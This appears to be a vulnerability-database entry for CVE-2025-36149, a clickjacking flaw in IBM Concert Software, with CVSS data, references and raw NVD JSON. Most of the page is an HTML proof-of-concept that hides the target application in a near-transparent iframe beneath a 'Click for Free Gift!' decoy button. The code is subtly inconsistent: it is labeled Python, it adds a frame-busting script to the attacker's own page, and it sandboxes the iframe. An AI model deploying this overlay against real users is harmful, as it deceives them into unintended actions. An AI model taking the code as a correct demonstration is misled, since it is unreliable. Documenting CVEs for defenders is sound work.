CVE-2025-36149

Description

IBM Concert Software 1.0.0 through 2.0.0 could allow a remote attacker to hijack the clicking action of the victim.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:* - VULNERABLE

IBM Concert Software 1.0.0

IBM Concert Software 1.x

IBM Concert Software 2.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Clickjacking PoC for CVE-2025-36149 -->
<!-- IBM Concert Software 1.0.0 - 2.0.0 -->
<!DOCTYPE html>
<html>
<head>
    <title>Clickjacking PoC - CVE-2025-36149</title>
    <style>
        body {
            margin: 0;
            padding: 20px;
            font-family: Arial, sans-serif;
            background: #f0f0f0;
        }
        .container {
            position: relative;
            width: 100%;
            max-width: 800px;
            margin: 0 auto;
        }
        h1 {
            color: #333;
            text-align: center;
        }
        .description {
            background: #fff;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            box-shadow: 0 2px 5px rgba(0,0,0,0.1);
        }
        /* Invisible iframe containing target application */
        .iframe-wrapper {
            position: relative;
            width: 100%;
            height: 600px;
            border: 2px solid #333;
            background: #fff;
        }
        iframe.target {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0.01;  /* Nearly invisible */
            filter: alpha(opacity=1);  /* IE support */
            z-index: 1;
        }
        /* Decoy button positioned over iframe */
        .decoy-button {
            position: absolute;
            top: 250px;
            left: 50%;
            transform: translateX(-50%);
            padding: 15px 40px;
            font-size: 18px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            z-index: 2;
            box-shadow: 0 4px 15px rgba(102, 126, 234, 0.4);
        }
        .decoy-button:hover {
            transform: translateX(-50%) scale(1.05);
        }
        .warning {
            background: #fff3cd;
            border: 1px solid #ffc107;
            color: #856404;
            padding: 10px;
            border-radius: 5px;
            margin-top: 20px;
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>CVE-2025-36149 PoC</h1>
        <div class="description">
            <p><strong>Vulnerability:</strong> Clickjacking in IBM Concert Software 1.0.0 - 2.0.0</p>
            <p><strong>Description:</strong> This PoC demonstrates how an attacker can overlay a decoy button over an invisible iframe containing IBM Concert Software. When users click the visible button, they actually click on hidden elements within the target application.</p>
        </div>
        
        <div class="iframe-wrapper">
            <!-- Target: IBM Concert Software -->
            <iframe class="target" 
                    src="https://[IBM_CONCERT_HOST]/ibm/concert"
                    sandbox="allow-same-origin allow-scripts allow-forms allow-popups">
            </iframe>
            
            <!-- Decoy: Fake button that user sees -->
            <button class="decoy-button">Click for Free Gift!</button>
        </div>
        
        <div class="warning">
            ⚠️ This is a security research PoC for educational purposes only.
        </div>
    </div>
    
    <script>
        // Frame busting script (for demonstration)
        if (top.location !== self.location) {
            top.location = self.location;
        }
        
        // Detect if page is being framed
        try {
            if (window != window.top) {
                console.log('Page is being framed - potential clickjacking attempt');
            }
        } catch (e) {
            console.log('Cross-origin frame detected');
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-36149
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-36149
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-36149/
[4] VulDB https://vuldb.com/cve/CVE-2025-36149
[5] https://www.ibm.com/support/pages/node/7252019

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-36149", "sourceIdentifier": "[email protected]", "published": "2025-11-21T20:15:48.017", "lastModified": "2025-12-02T16:22:26.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Concert Software 1.0.0 through 2.0.0 could allow a remote attacker to hijack the clicking action of the victim."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1021"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "2.1.0", "matchCriteriaId": "43072AC2-05A5-41A3-9E79-E0AF2C5AD3FF"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7252019", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}